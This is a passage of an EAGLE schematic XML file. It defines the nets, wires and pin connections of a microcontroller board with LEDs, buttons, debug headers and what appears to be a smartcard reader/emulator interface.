layer=\"91\"/>\n<wire x1=\"-76.2\" y1=\"33.02\" x2=\"-83.82\" y2=\"33.02\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-83.82\" y=\"33.02\"/>\n<pinref part=\"X1\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C13\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"OSC2/CLKO/RC15\"/>\n<junction x=\"-43.18\" y=\"38.1\"/>\n<junction x=\"-83.82\" y=\"35.56\"/>\n<label x=\"-58.42\" y=\"38.1\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"-83.82\" y=\"33.02\"/>\n</segment>\n</net>\n<net name=\"USER_BUTTON\" class=\"0\">\n<segment>\n<wire x1=\"-152.4\" y1=\"160.02\" x2=\"-152.4\" y2=\"162.56\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-152.4\" y1=\"162.56\" x2=\"-142.24\" y2=\"162.56\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-142.24\" y1=\"162.56\" x2=\"-142.24\" y2=\"165.1\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-142.24\" y1=\"162.56\" x2=\"-134.62\" y2=\"162.56\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-152.4\" y=\"162.56\"/>\n<junction x=\"-142.24\" y=\"162.56\"/>\n<label x=\"-139.446\" y=\"163.068\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"USER\" gate=\"S\" pin=\"4\"/>\n<pinref part=\"USER\" gate=\"S\" pin=\"3\"/>\n<pinref part=\"R30\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"-152.4\" y=\"160.02\"/>\n</segment>\n<segment>\n<wire x1=\"124.46\" y1=\"116.84\" x2=\"134.62\" y2=\"116.84\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMD6/RE6\"/>\n<junction x=\"124.46\" y=\"116.84\"/>\n<label x=\"137.16\" y=\"116.84\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"114.554\" x2=\"329.692\" y2=\"114.554\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"114.808\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"5\"/>\n<wire x1=\"329.692\" y1=\"114.554\" x2=\"319.024\" y2=\"114.554\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"114.554\"/>\n</segment>\n</net>\n<net name=\"BOOTLOADER\" class=\"0\">\n<segment>\n<wire x1=\"-152.4\" y1=\"187.96\" x2=\"-152.4\" y2=\"190.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-152.4\" y1=\"190.5\" x2=\"-142.24\" y2=\"190.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-142.24\" y1=\"190.5\" x2=\"-142.24\" y2=\"193.04\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-142.24\" y1=\"190.5\" x2=\"-134.62\" y2=\"190.5\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-152.4\" y=\"190.5\"/>\n<junction x=\"-142.24\" y=\"190.5\"/>\n<label x=\"-139.7\" y=\"191.008\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"BOOTLOADER\" gate=\"S\" pin=\"4\"/>\n<pinref part=\"BOOTLOADER\" gate=\"S\" pin=\"3\"/>\n<pinref part=\"R31\" gate=\"G$1\" pin=\"2\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMD7/RE7\"/>\n<wire x1=\"124.46\" y1=\"114.3\" x2=\"134.62\" y2=\"114.3\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"114.3\"/>\n<label x=\"137.16\" y=\"114.3\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"117.094\" x2=\"329.692\" y2=\"117.094\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"117.348\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"4\"/>\n<wire x1=\"329.692\" y1=\"117.094\" x2=\"319.024\" y2=\"117.094\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"117.094\"/>\n</segment>\n</net>\n<net name=\"!MCLR\" class=\"0\">\n<segment>\n<wire x1=\"-134.62\" y1=\"134.62\" x2=\"-142.24\" y2=\"134.62\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-142.24\" y1=\"134.62\" x2=\"-152.4\" y2=\"134.62\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-142.24\" y1=\"134.62\" x2=\"-142.24\" y2=\"137.16\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-152.4\" y1=\"134.62\" x2=\"-152.4\" y2=\"132.08\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-142.24\" y=\"134.62\"/>\n<junction x=\"-152.4\" y=\"134.62\"/>\n<label x=\"-139.7\" y=\"135.382\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"R29\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"RESET\" gate=\"S\" pin=\"3\"/>\n<pinref part=\"RESET\" gate=\"S\" pin=\"4\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"!MCLR\"/>\n<wire x1=\"-43.18\" y1=\"142.24\" x2=\"-50.8\" y2=\"142.24\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"142.24\"/>\n<label x=\"-58.42\" y=\"142.24\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"114.3\" x2=\"274.32\" y2=\"114.3\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"251.46\" y=\"114.554\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"5\"/>\n<junction x=\"274.32\" y=\"114.3\"/>\n</segment>\n<segment>\n<wire x1=\"269.24\" y1=\"142.24\" x2=\"259.08\" y2=\"142.24\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"266.7\" y=\"142.494\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP16\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"TP13\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"269.24\" y1=\"142.24\" x2=\"289.56\" y2=\"142.24\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"269.24\" y=\"142.24\"/>\n<junction x=\"289.56\" y=\"142.24\"/>\n</segment>\n</net>\n<net name=\"DEBUG_4\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMD5/RE5\"/>\n<junction x=\"124.46\" y=\"119.38\"/>\n<label x=\"137.16\" y=\"119.38\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"124.46\" y1=\"119.38\" x2=\"170.18\" y2=\"119.38\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP36\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"170.18\" y=\"119.38\"/>\n<wire x1=\"170.18\" y1=\"119.38\" x2=\"172.72\" y2=\"119.38\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"112.014\" x2=\"329.692\" y2=\"112.014\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"112.268\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"6\"/>\n<wire x1=\"329.692\" y1=\"112.014\" x2=\"319.024\" y2=\"112.014\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"112.014\"/>\n</segment>\n</net>\n<net name=\"RE4\" class=\"0\">\n<segment>\n<wire x1=\"124.46\" y1=\"121.92\" x2=\"134.62\" y2=\"121.92\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMD4/RE4\"/>\n<junction x=\"124.46\" y=\"121.92\"/>\n<label x=\"137.16\" y=\"121.92\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"106.934\" x2=\"329.692\" y2=\"106.934\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"107.188\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"8\"/>\n<wire x1=\"329.692\" y1=\"106.934\" x2=\"319.024\" y2=\"106.934\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"106.934\"/>\n</segment>\n</net>\n<net name=\"USB_LED_GREEN\" class=\"0\">\n<segment>\n<wire x1=\"124.46\" y1=\"124.46\" x2=\"134.62\" y2=\"124.46\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMD3/RE3\"/>\n<junction x=\"124.46\" y=\"124.46\"/>\n<label x=\"137.16\" y=\"124.46\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"-137.16\" y1=\"99.06\" x2=\"-127\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-104.14\" y=\"99.568\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"LED8\" gate=\"G$1\" pin=\"C\"/>\n<junction x=\"-137.16\" y=\"99.06\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"104.394\" x2=\"329.692\" y2=\"104.394\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"104.648\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"9\"/>\n<wire x1=\"329.692\" y1=\"104.394\" x2=\"319.024\" y2=\"104.394\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"104.394\"/>\n</segment>\n</net>\n<net name=\"COMMS_LED_YELLOW\" class=\"0\">\n<segment>\n<wire x1=\"124.46\" y1=\"127\" x2=\"134.62\" y2=\"127\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMD2/RE2\"/>\n<junction x=\"124.46\" y=\"127\"/>\n<label x=\"137.16\" y=\"127\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"-137.16\" y1=\"86.36\" x2=\"-127\" y2=\"86.36\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-101.6\" y=\"86.868\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"LED7\" gate=\"G$1\" pin=\"C\"/>\n<junction x=\"-137.16\" y=\"86.36\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"101.854\" x2=\"329.692\" y2=\"101.854\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"102.108\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"10\"/>\n<wire x1=\"329.692\" y1=\"101.854\" x2=\"319.024\" y2=\"101.854\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"101.854\"/>\n</segment>\n</net>\n<net name=\"CLOCK_LED_ORANGE\" class=\"0\">\n<segment>\n<wire x1=\"124.46\" y1=\"129.54\" x2=\"134.62\" y2=\"129.54\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMD1/RE1\"/>\n<junction x=\"124.46\" y=\"129.54\"/>\n<label x=\"137.16\" y=\"129.54\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"91.694\" x2=\"329.692\" y2=\"91.694\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"91.948\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"14\"/>\n<wire x1=\"329.692\" y1=\"91.694\" x2=\"319.024\" y2=\"91.694\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"91.694\"/>\n</segment>\n<segment>\n<pinref part=\"LED6\" gate=\"G$1\" pin=\"C\"/>\n<wire x1=\"-137.16\" y1=\"73.66\" x2=\"-127\" y2=\"73.66\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-127\" y=\"73.66\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"-137.16\" y=\"73.66\"/>\n</segment>\n</net>\n<net name=\"EMAULATE_LED_RED\" class=\"0\">\n<segment>\n<wire x1=\"124.46\" y1=\"132.08\" x2=\"134.62\" y2=\"132.08\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"PMD0/RE0\"/>\n<junction x=\"124.46\" y=\"132.08\"/>\n<label x=\"137.16\" y=\"132.08\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"89.154\" x2=\"329.692\" y2=\"89.154\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"89.408\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"15\"/>\n<wire x1=\"329.692\" y1=\"89.154\" x2=\"319.024\" y2=\"89.154\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"89.154\"/>\n</segment>\n<segment>\n<pinref part=\"LED5\" gate=\"G$1\" pin=\"C\"/>\n<wire x1=\"-137.16\" y1=\"60.96\" x2=\"-129.54\" y2=\"60.96\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-127\" y=\"60.96\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"-137.16\" y=\"60.96\"/>\n</segment>\n</net>\n<net name=\"RG15\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AERXERR/RG15\"/>\n<wire x1=\"124.46\" y1=\"137.16\" x2=\"134.62\" y2=\"137.16\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"137.16\"/>\n<label x=\"137.16\" y=\"137.16\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"109.474\" x2=\"329.692\" y2=\"109.474\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"109.728\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"7\"/>\n<wire x1=\"329.692\" y1=\"109.474\" x2=\"319.024\" y2=\"109.474\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"109.474\"/>\n</segment>\n</net>\n<net name=\"RG14\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TRD2/RG14\"/>\n<wire x1=\"124.46\" y1=\"139.7\" x2=\"134.62\" y2=\"139.7\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"139.7\"/>\n<label x=\"137.16\" y=\"139.7\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"94.234\" x2=\"329.692\" y2=\"94.234\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"94.488\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"13\"/>\n<wire x1=\"329.692\" y1=\"94.234\" x2=\"319.024\" y2=\"94.234\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"94.234\"/>\n</segment>\n</net>\n<net name=\"RG13\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TRD0/RG13\"/>\n<wire x1=\"124.46\" y1=\"142.24\" x2=\"134.62\" y2=\"142.24\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"142.24\"/>\n<label x=\"137.16\" y=\"142.24\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"99.314\" x2=\"329.692\" y2=\"99.314\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"99.568\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"11\"/>\n<wire x1=\"329.692\" y1=\"99.314\" x2=\"319.024\" y2=\"99.314\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"99.314\"/>\n</segment>\n</net>\n<net name=\"RG12\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TRD1/RG12\"/>\n<wire x1=\"124.46\" y1=\"144.78\" x2=\"134.62\" y2=\"144.78\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"144.78\"/>\n<label x=\"137.16\" y=\"144.78\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"96.774\" x2=\"329.692\" y2=\"96.774\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"97.028\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"12\"/>\n<wire x1=\"329.692\" y1=\"96.774\" x2=\"319.024\" y2=\"96.774\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"96.774\"/>\n</segment>\n</net>\n<net name=\"EMULATION_DRIVE\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"ERXCLK/!SS2A!/U2BRX/!U2ACTS!/PMA2/CN11/RG9\"/>\n<wire x1=\"124.46\" y1=\"147.32\" x2=\"134.62\" y2=\"147.32\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"147.32\"/>\n<label x=\"137.16\" y=\"147.32\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"111.76\" x2=\"274.32\" y2=\"111.76\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"236.22\" y=\"112.014\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"6\"/>\n<junction x=\"274.32\" y=\"111.76\"/>\n</segment>\n<segment>\n<pinref part=\"R2\" gate=\"G$1\" pin=\"2\"/>\n<label x=\"-13.716\" y=\"-132.588\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<junction x=\"-38.1\" y=\"-132.08\"/>\n<wire x1=\"-38.1\" y1=\"-132.08\" x2=\"-22.86\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n</net>\n<net name=\"CLI_UART3_PIC_TX\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"ERXDV/SCL2A/SDO2A/U2ATX/PMA3/CN10/RG8\"/>\n<junction x=\"124.46\" y=\"149.86\"/>\n<label x=\"137.16\" y=\"149.86\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"124.46\" y1=\"149.86\" x2=\"177.8\" y2=\"149.86\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP41\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"177.8\" y=\"149.86\"/>\n<wire x1=\"177.8\" y1=\"149.86\" x2=\"172.72\" y2=\"149.86\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"116.84\" x2=\"274.32\" y2=\"116.84\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"233.68\" y=\"117.094\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"4\"/>\n<junction x=\"274.32\" y=\"116.84\"/>\n</segment>\n</net>\n<net name=\"CLI_UART3_PIC_RX\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"ECRS/SDA2A/SDI2A/U2ARX/PMA4/CN9/RG7\"/>\n<junction x=\"124.46\" y=\"152.4\"/>\n<label x=\"137.16\" y=\"152.4\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"124.46\" y1=\"152.4\" x2=\"167.64\" y2=\"152.4\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP40\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"167.64\" y=\"152.4\"/>\n<wire x1=\"167.64\" y1=\"152.4\" x2=\"172.72\" y2=\"152.4\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"119.38\" x2=\"274.32\" y2=\"119.38\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"233.68\" y=\"119.634\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"3\"/>\n<junction x=\"274.32\" y=\"119.38\"/>\n</segment>\n</net>\n<net name=\"READ_LED_GREEN\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"ECOL/SCK2A/U2BTX/!U2ARTS!/PMA5/CN8/RG6\"/>\n<wire x1=\"124.46\" y1=\"154.94\" x2=\"134.62\" y2=\"154.94\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"154.94\"/>\n<label x=\"137.16\" y=\"154.94\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"121.92\" x2=\"274.32\" y2=\"121.92\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"236.22\" y=\"122.174\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"2\"/>\n<junction x=\"274.32\" y=\"121.92\"/>\n</segment>\n<segment>\n<pinref part=\"LED4\" gate=\"G$1\" pin=\"C\"/>\n<wire x1=\"-137.16\" y1=\"48.26\" x2=\"-127\" y2=\"48.26\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-124.46\" y=\"48.26\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"-137.16\" y=\"48.26\"/>\n</segment>\n</net>\n<net name=\"RG1\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"C2TX/ETXERR/PMD9/RG1\"/>\n<wire x1=\"124.46\" y1=\"162.56\" x2=\"134.62\" y2=\"162.56\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"162.56\"/>\n<label x=\"137.16\" y=\"162.56\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"78.994\" x2=\"329.692\" y2=\"78.994\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"79.248\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"19\"/>\n<wire x1=\"329.692\" y1=\"78.994\" x2=\"319.024\" y2=\"78.994\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"78.994\"/>\n</segment>\n</net>\n<net name=\"RG0\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"C2RX/PMD8/RG0\"/>\n<wire x1=\"124.46\" y1=\"165.1\" x2=\"134.62\" y2=\"165.1\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"165.1\"/>\n<label x=\"137.16\" y=\"165.1\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"81.534\" x2=\"329.692\" y2=\"81.534\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"81.788\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"18\"/>\n<wire x1=\"329.692\" y1=\"81.534\" x2=\"319.024\" y2=\"81.534\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"81.534\"/>\n</segment>\n</net>\n<net name=\"SMARTCARD_RESET\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AERXD0/INT1/RE8\"/>\n<wire x1=\"124.46\" y1=\"111.76\" x2=\"134.62\" y2=\"111.76\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"111.76\"/>\n<label x=\"137.16\" y=\"111.76\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"106.68\" x2=\"274.32\" y2=\"106.68\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"233.68\" y=\"106.934\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"8\"/>\n<junction x=\"274.32\" y=\"106.68\"/>\n</segment>\n<segment>\n<pinref part=\"U7\" gate=\"G$1\" pin=\"RESET_SIM_PIN_2\"/>\n<wire x1=\"419.1\" y1=\"104.14\" x2=\"408.94\" y2=\"104.14\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"383.54\" y=\"104.14\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"419.1\" y=\"104.14\"/>\n<pinref part=\"TP21\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"408.94\" y1=\"104.14\" x2=\"406.4\" y2=\"104.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"408.94\" y=\"104.14\"/>\n</segment>\n</net>\n<net name=\"READER_CLOCK_ENABLE\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AERXD1/INT2/RE9\"/>\n<wire x1=\"124.46\" y1=\"109.22\" x2=\"134.62\" y2=\"109.22\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"109.22\"/>\n<label x=\"137.16\" y=\"109.22\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"104.14\" x2=\"274.32\" y2=\"104.14\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"228.6\" y=\"104.394\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"9\"/>\n<junction x=\"274.32\" y=\"104.14\"/>\n</segment>\n<segment>\n<pinref part=\"U5\" gate=\"A\" pin=\"!1OE\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"!2OE\"/>\n<wire x1=\"-48.26\" y1=\"-63.5\" x2=\"-45.72\" y2=\"-63.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"-63.5\" x2=\"-45.72\" y2=\"-66.04\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"!3OE\"/>\n<wire x1=\"-45.72\" y1=\"-68.58\" x2=\"-48.26\" y2=\"-68.58\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"!4OE\"/>\n<wire x1=\"-48.26\" y1=\"-71.12\" x2=\"-45.72\" y2=\"-71.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"-71.12\" x2=\"-45.72\" y2=\"-68.58\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"-68.58\" x2=\"-45.72\" y2=\"-66.04\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-48.26\" y1=\"-66.04\" x2=\"-45.72\" y2=\"-66.04\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"1.778\" y=\"-67.056\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<junction x=\"-48.26\" y=\"-71.12\"/>\n<junction x=\"-48.26\" y=\"-68.58\"/>\n<junction x=\"-48.26\" y=\"-66.04\"/>\n<junction x=\"-48.26\" y=\"-63.5\"/>\n<junction x=\"-45.72\" y=\"-66.04\"/>\n<junction x=\"-45.72\" y=\"-68.58\"/>\n<wire x1=\"-45.72\" y1=\"-66.04\" x2=\"-30.48\" y2=\"-66.04\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n</net>\n<net name=\"READER_CLOCK\" class=\"0\">\n<segment>\n<pinref part=\"U5\" gate=\"A\" pin=\"4A\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"3A\"/>\n<wire x1=\"-48.26\" y1=\"-83.82\" x2=\"-45.72\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"-83.82\" x2=\"-45.72\" y2=\"-81.28\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"2A\"/>\n<wire x1=\"-48.26\" y1=\"-81.28\" x2=\"-45.72\" y2=\"-81.28\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"-81.28\" x2=\"-45.72\" y2=\"-78.74\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"1A\"/>\n<wire x1=\"-48.26\" y1=\"-76.2\" x2=\"-45.72\" y2=\"-76.2\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"-76.2\" x2=\"-45.72\" y2=\"-78.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-48.26\" y1=\"-78.74\" x2=\"-45.72\" y2=\"-78.74\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-9.652\" y=\"-79.502\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<junction x=\"-48.26\" y=\"-83.82\"/>\n<junction x=\"-48.26\" y=\"-81.28\"/>\n<junction x=\"-48.26\" y=\"-78.74\"/>\n<junction x=\"-48.26\" 